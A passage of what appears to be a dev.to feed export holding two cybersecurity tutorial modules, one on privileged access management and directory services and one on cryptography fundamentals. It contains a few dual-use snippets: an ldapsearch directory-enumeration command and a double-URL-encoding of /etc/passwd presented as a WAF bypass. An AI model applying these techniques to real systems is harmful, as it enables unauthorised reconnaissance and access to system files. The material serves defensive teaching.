    "principalId": "&amp;lt;user-object-id&amp;gt;",
    "roleDefinitionId": "&amp;lt;role-id&amp;gt;",
    "directoryScopeId": "/",
    "justification": "Investigating ticket INC1234",
    "scheduleInfo": { "expiration": { "duration": "PT1H" } }
  }'&lt;/span&gt;
&lt;span class="c"&gt;# duration": "PT1H"  -- ISO 8601 duration: this elevation expires&lt;/span&gt;
&lt;span class="c"&gt;#                       automatically after exactly 1 hour&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.6 Detecting PAM Bypass / Misuse
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Direct authentication to privileged accounts outside the PAM checkout workflow&lt;/strong&gt; (i.e., a Domain Admin login event with no corresponding PAM vault checkout record) is one of the highest-fidelity indicators of either a PAM gap or active credential theft.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session recording gaps&lt;/strong&gt; (a privileged session with no corresponding video/keystroke log, due to misconfiguration or tampering) should themselves trigger an alert — an attacker disabling session recording before activity is a documented technique in mature intrusions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  13.7 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Eliminate all &lt;strong&gt;standing/permanent privileged group memberships&lt;/strong&gt; where JIT is feasible.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;PAW separation&lt;/strong&gt; — privileged sessions only from hardened, isolated jump hosts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-rotate&lt;/strong&gt; every privileged credential after each checkout, regardless of whether misuse is suspected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Record and retain&lt;/strong&gt; all privileged sessions, with tamper-evident storage (write-once or hashed/chained logs) and a defined retention period meeting your compliance/forensic requirements.&lt;/li&gt;
&lt;li&gt;Apply PAM principles to &lt;strong&gt;service accounts and API keys&lt;/strong&gt;, not just human admins — non-human privileged identities are an increasingly dominant share of real-world privilege in modern environments and are routinely under-governed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  13.8 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Cross-reference PAM vault checkout/checkin logs against actual authentication events on target systems — any privileged authentication &lt;strong&gt;without&lt;/strong&gt; a matching, time-adjacent vault checkout is your single most actionable PAM-layer detection rule, and should be a standing, always-on correlation rule in your SIEM.&lt;/p&gt;

&lt;h3&gt;
  
  
  13.9 OT/ICS Perspective — This Is the Most Important Subsection in the Module for This Specialization
&lt;/h3&gt;

&lt;p&gt;PAM is arguably &lt;strong&gt;the single highest-leverage control for IT/OT boundary security&lt;/strong&gt;, because it directly addresses the Colonial Pipeline pattern: a remote, standing credential with no MFA, no session recording, no time-boxing, bridging directly into OT-adjacent infrastructure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RECOMMENDED OT PAM ARCHITECTURE:

   IT Network                  DMZ / PAM Layer              OT Network
  ┌──────────┐               ┌─────────────────┐          ┌───────────┐
  │ Vendor/   │               │  PAM Jump Host /  │          │  HMI /     │
  │ Engineer  │──MFA-gated──►│  Privileged       │──brokered│  SCADA /   │
  │ remote    │  request      │  Session Broker   │ recorded │  PLC       │
  │ access    │               │  (time-boxed,      │ session  │  engineer  │
  └──────────┘               │   credential        │─────────►│  station   │
                              │   vaulted, never     │          └───────────┘
                              │   known to user)      │
                              └─────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key OT-specific PAM design points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vendor remote access&lt;/strong&gt; (the Colonial Pipeline-class scenario) must &lt;em&gt;never&lt;/em&gt; terminate directly inside the OT network — it must terminate at a PAM-brokered jump host in a DMZ, with the OT-side credential never disclosed to the vendor, fully time-boxed to the maintenance window, and fully session-recorded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standing OT vendor VPN accounts&lt;/strong&gt;, active 24/7/365 "just in case," are a documented recurring finding in ICS security assessments and represent exactly the standing-privilege risk PAM/JIT is designed to eliminate.&lt;/li&gt;
&lt;li&gt;Session recording in OT must be configured to &lt;strong&gt;never interfere with real-time control-system performance or safety system response times&lt;/strong&gt; — PAM brokering should be architected at the engineering-access layer (HMI/workstation access), never inline with control-loop communication (PLC-to-PLC, controller-to-I/O), where latency or a broker outage could itself create a safety hazard. Know this distinction precisely: PAM governs &lt;strong&gt;who can open an engineering session&lt;/strong&gt;, not the deterministic control traffic underneath it.&lt;/li&gt;
&lt;li&gt;Maintain &lt;strong&gt;documented break-glass procedures&lt;/strong&gt; for emergency OT access scenarios where the PAM layer itself is unavailable (e.g., during a wide-scale IT outage) — OT operability must never be hostage to an IT identity system outage, but break-glass use must be logged and reviewed after every use without exception.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Colonial Pipeline was not a sophisticated attack — it was one standing, MFA-less, unrotated VPN credential. PAM exists specifically to make that scenario architecturally impossible, and in OT environments, it is the single highest-return control you can implement at the IT/OT boundary.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. The Missing Layer: Directory Services &amp;amp; Identity Federation Architecture
&lt;/h2&gt;

&lt;p&gt;This subtopic is not in the original outline but is essential — every protocol above (Kerberos, NTLM, SAML, OIDC) ultimately reads from a &lt;strong&gt;directory&lt;/strong&gt;: Active Directory, LDAP, Azure AD/Entra ID, or a cloud-native identity store. Understanding &lt;em&gt;where identity actually lives&lt;/em&gt; is the connective layer the rest of this module assumes.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.1 LDAP — The Underlying Data Layer
&lt;/h3&gt;

&lt;p&gt;Active Directory is, at its data layer, an &lt;strong&gt;LDAP (Lightweight Directory Access Protocol)&lt;/strong&gt; directory. Every user, group, computer, and policy object is an LDAP entry with a Distinguished Name (DN):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CN=John Doe,OU=Finance,DC=corp,DC=local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Querying AD via LDAP from Linux — common in both legitimate admin work&lt;/span&gt;
&lt;span class="c"&gt;# and attacker reconnaissance (this is exactly how tools like BloodHound&lt;/span&gt;
&lt;span class="c"&gt;# pull their raw data)&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://dc01.corp.local &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"CN=jdoe,OU=Finance,DC=corp,DC=local"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=corp,DC=local"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=user)"&lt;/span&gt; memberOf
&lt;span class="c"&gt;# -x : simple authentication&lt;/span&gt;
&lt;span class="c"&gt;# -H : target LDAP server&lt;/span&gt;
&lt;span class="c"&gt;# -D : bind DN (the authenticating account)&lt;/span&gt;
&lt;span class="c"&gt;# -b : search base (where in the directory tree to start)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LDAP injection&lt;/strong&gt; and &lt;strong&gt;unauthenticated/anonymous LDAP bind misconfigurations&lt;/strong&gt; remain a recurring finding category — anonymous bind allowing full directory enumeration is a critical, frequently overlooked exposure in legacy environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.2 BloodHound — Why Directory Enumeration Matters Offensively and Defensively
&lt;/h3&gt;

&lt;p&gt;BloodHound maps AD trust and permission relationships as a graph, revealing &lt;strong&gt;non-obvious attack paths&lt;/strong&gt; (e.g., User A is in Group B, which has GenericAll rights over Group C, which is a member of Domain Admins) that no flat permission list would surface. Defensively, &lt;strong&gt;running BloodHound against your own environment&lt;/strong&gt; is now considered standard practice — you cannot defend an attack path you don't know exists.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.3 Trust Relationships and Their Risk
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forest A  ◄──── two-way trust ────►  Forest B

If Forest B is compromised, and the trust is improperly scoped
(not using SID filtering / selective authentication), an attacker
can potentially traverse INTO Forest A using forged or stolen
credentials/tickets that cross the trust boundary.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Every authentication protocol in this module is a &lt;em&gt;consumer&lt;/em&gt; of a directory service — securing the directory itself (LDAP hardening, trust scoping, anonymous bind elimination) is a prerequisite for every other control in this module to mean anything.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  15. OT/ICS-Wide Identity Considerations
&lt;/h2&gt;

&lt;p&gt;Consolidating the cross-cutting OT themes from every section above into explicit, standalone guidance:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identity systems in OT must never become a single point of operational failure.&lt;/strong&gt; A control-room operator must always be able to act during a safety event, even if the corporate identity stack is down. Design break-glass paths deliberately, not as an afterthought.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vendor remote access is the dominant real-world OT initial-access vector&lt;/strong&gt; (Colonial Pipeline being the most-cited example) — PAM-brokered, time-boxed, MFA-gated, never-standing access is the highest-leverage single investment in this entire module for OT environments.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Legacy protocol support (NTLM, weak Kerberos encryption types) often cannot be removed from OT due to vendor certification constraints&lt;/strong&gt; — the correct response is network-layer and PAM-layer compensating control, not pretending the legacy protocol isn't there.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Separate identity trust boundaries between IT and OT&lt;/strong&gt; (separate AD forest/domain, separate IdP realm) contain the blast radius of an IT-side identity compromise from automatically becoming an OT-side compromise — this single architectural decision determined the difference in outcome between organizations that contained Colonial-Pipeline-style intrusions to IT and those where it reached OT.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Physical and digital identity correlation matters in OT&lt;/strong&gt; — badge/biometric access logs to a control room should be correlated with HMI/SCADA session logs during incident investigation; insider-threat and safety-incident investigations in industrial settings rely on this correlation routinely.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  16. Module Summary Table
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Function&lt;/th&gt;
&lt;th&gt;Primary Offensive Technique&lt;/th&gt;
&lt;th&gt;Primary Defensive Control&lt;/th&gt;
&lt;th&gt;OT/ICS Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Password Policies&lt;/td&gt;
&lt;td&gt;Shared-secret proof of identity&lt;/td&gt;
&lt;td&gt;Spraying, offline cracking&lt;/td&gt;
&lt;td&gt;Length over complexity, breach-list screening, Argon2id storage&lt;/td&gt;
&lt;td&gt;Avoid blind lockout policies on safety-critical HMI accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFA&lt;/td&gt;
&lt;td&gt;Second independent proof factor&lt;/td&gt;
&lt;td&gt;Push fatigue, AiTM phishing, SIM swap&lt;/td&gt;
&lt;td&gt;FIDO2/WebAuthn, number-matching push&lt;/td&gt;
&lt;td&gt;Enforce MFA at IT/OT jump-host boundary, not inside OT itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Biometrics&lt;/td&gt;
&lt;td&gt;Trait-based identity proof&lt;/td&gt;
&lt;td&gt;Spoofing/presentation attacks&lt;/td&gt;
&lt;td&gt;Liveness detection, on-device template storage, second factor&lt;/td&gt;
&lt;td&gt;Used for physical control-room access; correlate with session logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token-Based Auth&lt;/td&gt;
&lt;td&gt;Bearer credential post-login&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;alg:none&lt;/code&gt;/algorithm confusion, token theft&lt;/td&gt;
&lt;td&gt;Algorithm pinning, short lifetimes, httpOnly cookies&lt;/td&gt;
&lt;td&gt;Scope and monitor OT-to-cloud telemetry tokens tightly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth 2.0&lt;/td&gt;
&lt;td&gt;Delegated authorization&lt;/td&gt;
&lt;td&gt;Redirect URI manipulation, CSRF (missing &lt;code&gt;state&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Exact redirect allow-listing, PKCE, least-privilege scope&lt;/td&gt;
&lt;td&gt;Audit vendor OAuth app consent grants regularly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenID Connect&lt;/td&gt;
&lt;td&gt;Identity layer atop OAuth&lt;/td&gt;
&lt;td&gt;Missing &lt;code&gt;aud&lt;/code&gt;/&lt;code&gt;iss&lt;/code&gt; validation, ID token replay&lt;/td&gt;
&lt;td&gt;Validate all claims, use &lt;code&gt;nonce&lt;/code&gt;, pin trusted issuers&lt;/td&gt;
&lt;td&gt;Validate cloud HMI portal token audience scoping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SAML&lt;/td&gt;
&lt;td&gt;XML-based federated assertions&lt;/td&gt;
&lt;td&gt;Golden SAML, XML Signature Wrapping&lt;/td&gt;
&lt;td&gt;HSM-protect signing keys, validate audience/time window&lt;/td&gt;
&lt;td&gt;Isolate OT-vendor federation from core corporate IdP trust&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Ticket-based domain authentication&lt;/td&gt;
&lt;td&gt;Golden/Silver Ticket, Kerberoasting, Pass-the-Ticket&lt;/td&gt;
&lt;td&gt;krbtgt rotation, gMSA, monitor 4769/RC4 etype&lt;/td&gt;
&lt;td&gt;Separate forest/domain for OT Windows servers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTLM&lt;/td&gt;
&lt;td&gt;Legacy challenge-response auth&lt;/td&gt;
&lt;td&gt;Pass-the-Hash, NTLM Relay&lt;/td&gt;
&lt;td&gt;SMB/LDAP signing, disable LLMNR/NBT-NS, LAPS&lt;/td&gt;
&lt;td&gt;Compensate via network isolation for legacy OT hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSO&lt;/td&gt;
&lt;td&gt;Single authentication, multiple apps&lt;/td&gt;
&lt;td&gt;IdP vendor compromise, consent grant abuse&lt;/td&gt;
&lt;td&gt;Disproportionate IdP hardening, conditional access, break-glass account&lt;/td&gt;
&lt;td&gt;Dedicated OT-tier IdP, narrowly federated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PAM&lt;/td&gt;
&lt;td&gt;Controls/monitors privileged access&lt;/td&gt;
&lt;td&gt;Standing credential theft, direct-to-privileged login&lt;/td&gt;
&lt;td&gt;JIT access, session recording, credential rotation, PAW separation&lt;/td&gt;
&lt;td&gt;Brokered, time-boxed vendor remote access; never inline with control traffic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Directory Services (LDAP/AD)&lt;/td&gt;
&lt;td&gt;Underlying identity data store&lt;/td&gt;
&lt;td&gt;LDAP injection, anonymous bind enumeration, BloodHound mapping&lt;/td&gt;
&lt;td&gt;Disable anonymous bind, SID filtering on trusts, self-audit with BloodHound&lt;/td&gt;
&lt;td&gt;Prerequisite hardening for every other OT identity control&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  17. Navigation
&lt;/h2&gt;

&lt;p&gt;⬅ Previous: Module 2.2 — Network Security Fundamentals&lt;br&gt;
➡ Next: Module 2.4 — Endpoint Security and Hardening&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bytewall Academy — Cybersecurity × OT/ICS Security Roadmap. This module is part of a continuously maintained open reference series. Contributions, corrections, and CVE updates are welcome via pull request.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>learning</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>bytewallacademy</category>
    </item>
    <item>
      <title>Stage 2.2 — Cryptography Fundamentals</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 16 Jun 2026 07:26:30 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-22-cryptography-fundamentals-1eo0</link>
      <guid>https://dev.to/rencberakman/stage-22-cryptography-fundamentals-1eo0</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 2 — Cybersecurity Core&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 2.2 — Cryptography Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 2.1 — Core Security Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 2.3 — Identity and Access Management&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Cryptography Is the Bedrock of All Digital Security&lt;/li&gt;
&lt;li&gt;What Is Encryption — First Principles&lt;/li&gt;
&lt;li&gt;Encoding vs Encryption vs Hashing&lt;/li&gt;
&lt;li&gt;Symmetric Encryption — AES, DES, 3DES, Blowfish&lt;/li&gt;
&lt;li&gt;Asymmetric Encryption — RSA, ECC, Diffie-Hellman&lt;/li&gt;
&lt;li&gt;Hash Functions — MD5, SHA-1, SHA-256, SHA-3&lt;/li&gt;
&lt;li&gt;Salt and Pepper — Password Hashing&lt;/li&gt;
&lt;li&gt;Digital Signatures&lt;/li&gt;
&lt;li&gt;PKI — Public Key Infrastructure&lt;/li&gt;
&lt;li&gt;SSL/TLS — How Secure Connections Work&lt;/li&gt;
&lt;li&gt;TLS Handshake — Deep Dive&lt;/li&gt;
&lt;li&gt;Cryptographic Randomness&lt;/li&gt;
&lt;li&gt;Steganography&lt;/li&gt;
&lt;li&gt;Cryptography in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Cryptography Is the Bedrock of All Digital Security
&lt;/h2&gt;

&lt;p&gt;Every security control that matters depends on cryptography. HTTPS exists because of TLS. Password storage is only safe because of hashing. Code signing, SSH, VPN, MFA apps, email signing, blockchain, digital certificates, secure boot — every one of these is cryptography applied to a specific problem. When cryptography breaks, everything built on it breaks simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete failures with massive real-world consequences:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MD5 Collision Attack → Rogue CA Certificate (2008):&lt;/strong&gt; MD5 was known to be weak, but CAs still used it to sign certificates. Researchers at CWI Amsterdam and others demonstrated that MD5's collision vulnerability could be exploited to create a rogue Certificate Authority certificate indistinguishable from a legitimate one. Any HTTPS connection could be silently intercepted. The entire HTTPS trust system — protecting every bank, government, and healthcare site — was compromised by a 30-year-old hash function that nobody had bothered to replace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RSA 512-bit factored → FREAK attack (CVE-2015-0204):&lt;/strong&gt; "Export grade" cryptography mandated by 1990s US government regulations required weak RSA (512-bit) for exports. Attackers could factor 512-bit keys in hours using cloud computing and downgrade victims to export cipher suites. HTTPS connections to affected servers (including major banks and US government websites) could be decrypted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Heartbleed (CVE-2014-0160):&lt;/strong&gt; Not a cryptographic break, but a bug in OpenSSL's heartbeat extension that exposed 64KB of server memory per request — including private keys. When a private key is compromised, all past TLS sessions encrypted with that key (if not using Perfect Forward Secrecy) can be decrypted. Every certificate using the compromised key must be revoked and reissued. 17% of all secure web servers were affected simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DUHK (Don't Use Hard-coded Keys, 2017):&lt;/strong&gt; Some VPN implementations used a hardcoded seed value for their random number generator, making it possible to predict all encryption keys. A weak PRNG is as devastating as no encryption — the mathematics are correct, but the key material is predictable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS:&lt;/strong&gt; Industrial protocols from the 1980s-2000s (Modbus, DNP3 baseline, PROFIBUS) have no cryptography whatsoever — no authentication, no integrity, no confidentiality. IEC 62351 was developed specifically to add cryptographic security to these protocols, but adoption remains low. Understanding cryptography tells you exactly why a Modbus write command can be forged by anyone on the network and what it would take to prevent it.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What Is Encryption — First Principles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Core Concept
&lt;/h3&gt;

&lt;p&gt;Encryption transforms readable data (plaintext) into unreadable data (ciphertext) using a mathematical algorithm and a key. Only parties possessing the correct key can reverse the process (decryption) to recover the plaintext.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Encryption:
  Plaintext + Key + Algorithm → Ciphertext
  "Hello"  + "K"  + AES      → "x7Kp2mQ9..."

Decryption:
  Ciphertext + Key + Algorithm → Plaintext
  "x7Kp2mQ9..." + "K" + AES   → "Hello"

The algorithm (cipher) is typically PUBLIC — Kerckhoffs's principle:
  "A cryptosystem should be secure even if everything about the
   system, except the key, is public knowledge."

  Rationale: If security depends on algorithm secrecy ("security through
  obscurity"), once the algorithm is discovered (and it will be), all
  security is lost. Security must come from key secrecy alone.

  Corollary: Proprietary/secret encryption algorithms are a red flag.
  They haven't been publicly scrutinised — they are almost certainly weaker
  than publicly reviewed standards like AES.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 The Mathematics of Security
&lt;/h3&gt;

&lt;p&gt;Encryption security is based on mathematical problems that are easy to perform in one direction but computationally infeasible to reverse without the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Easy vs Hard Problems in Cryptography:

Symmetric (AES):
  Hard problem: Given ciphertext, find key without the key
  Security: Exhaustive search (brute force) of keyspace
  AES-128: 2^128 possible keys = 3.4 × 10^38 keys
  At 10^18 guesses/second: 1.07 × 10^13 years (longer than universe age)

Asymmetric (RSA):
  Hard problem: Integer Factorisation
  Given N = p × q (product of two large primes), find p and q
  Easy: multiply 2 large primes (milliseconds)
  Hard: factor the product (currently infeasible for 2048-bit)

Asymmetric (ECC):
  Hard problem: Elliptic Curve Discrete Logarithm Problem (ECDLP)
  Given P and Q = k×P (on an elliptic curve), find k
  Currently infeasible for 256-bit curves

  Key insight: 256-bit ECC ≈ 3072-bit RSA in security level
  ECC keys are much shorter for equivalent security

Hash Functions:
  Hard problem: Finding a collision or preimage
  Given H(x), find x (preimage resistance)
  Given H(x), find x' where H(x') = H(x) (second preimage)
  Find any x, x' where H(x) = H(x') (collision resistance)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Key Length and Security Levels
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NIST Recommended Key Sizes (2024):

Security Level  Symmetric  RSA/DH  ECC
──────────────────────────────────────────────────
80-bit          2TDEA       1024    160 (MINIMUM — deprecated)
112-bit         3TDEA       2048    224 (acceptable transitional)
128-bit         AES-128     3072    256 (recommended minimum)
192-bit         AES-192     7680    384
256-bit         AES-256    15360    521

"Security level" = approximate bits of work for best known attack

Future threat — Quantum Computing:
  Shor's algorithm breaks RSA and ECC entirely (exponential speedup)
  Grover's algorithm halves symmetric key security (128-bit → 64-bit effective)

  Post-Quantum Cryptography (PQC) — NIST finalists (2024):
  CRYSTALS-Kyber: Key encapsulation (replaces RSA/ECDH)
  CRYSTALS-Dilithium: Digital signatures (replaces RSA/ECDSA)
  FALCON: Digital signatures
  SPHINCS+: Hash-based signatures (no quantum threat to hash functions)

  Timeline: quantum computers capable of breaking RSA-2048 estimated 10-20 years
  Harvest now, decrypt later: attackers capturing encrypted traffic today
  to decrypt when quantum computers become available
  → "Cryptographically relevant quantum computer" (CRQC) threat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Encoding vs Encryption vs Hashing
&lt;/h2&gt;

&lt;p&gt;These three are routinely confused. The confusion has security consequences.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┬──────────────────────────┬──────────────┬────────────────────┐
│                 │ Purpose                  │ Reversible?  │ Key Required?      │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCODING        │ Format conversion        │ YES (trivial)│ NO                 │
│                 │ for transmission         │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ ENCRYPTION      │ Confidentiality          │ YES (with key)│ YES               │
│                 │ (hide data from          │              │                    │
│                 │ unauthorised parties)    │              │                    │
├─────────────────┼──────────────────────────┼──────────────┼────────────────────┤
│ HASHING         │ Integrity verification   │ NO           │ NO                 │
│                 │ (one-way fingerprint)    │ (by design)  │                    │
└─────────────────┴──────────────────────────┴──────────────┴────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.1 Encoding
&lt;/h3&gt;

&lt;p&gt;Encoding converts data from one format to another for compatibility or transmission purposes. It provides &lt;strong&gt;zero security&lt;/strong&gt; — it is trivially reversed by anyone.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Common encodings:

Base64:
  Converts binary to printable ASCII
  Used: email attachments (MIME), HTTP Basic Auth, JWT tokens, data URIs
  "Hello" → "SGVsbG8="

  NOT encryption — security implication:
  "Authorization: Basic YWRtaW46cGFzc3dvcmQ=" in HTTP header
  Base64 decode → admin:password (instant)

URL Encoding (Percent Encoding):
  Converts special characters for URL safety
  "Hello World" → "Hello%20World"
  "/" → "%2F"

  Security: URL encoding bypass of WAFs/filters
  /etc/passwd → /%65%74%63/%70%61%73%73%77%64
  Some WAFs decode only once; double-encoded input bypasses them

ASCII/Unicode:
  Character ↔ number mapping
  'A' = 65 = 0x41
  No security provided

Hex encoding:
  Binary → hexadecimal representation
  0x48 0x65 0x6C 0x6C 0x6F = "Hello"

ROT13:
  Caesar cipher (rotate letters 13 positions)
  NOT encryption — symmetric but trivially reversed
  Used as "spoiler protection", never for security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Encoding demonstrations:&lt;/span&gt;

&lt;span class="c"&gt;# Base64 encode/decode:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"admin:password"&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;                    &lt;span class="c"&gt;# Encode: YWRtaW46cGFzc3dvcmQ=&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"YWRtaW46cGFzc3dvcmQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;          &lt;span class="c"&gt;# Decode: admin:password&lt;/span&gt;

&lt;span class="c"&gt;# URL encode/decode with Python:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import urllib.parse
# Encode
encoded = urllib.parse.quote('/etc/passwd')
print('Encoded:', encoded)   # %2Fetc%2Fpasswd

# Double encode (WAF bypass technique)
double = urllib.parse.quote(encoded)
print('Double:', double)    # %252Fetc%252Fpasswd
"&lt;/span&gt;

&lt;span class="c"&gt;# Hex encode/decode:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Hello"&lt;/span&gt; | xxd &lt;span class="nt"&gt;-p&lt;/span&gt;                              &lt;span class="c"&gt;# Hex encode: 48656c6c6f0a&lt;/span&gt;
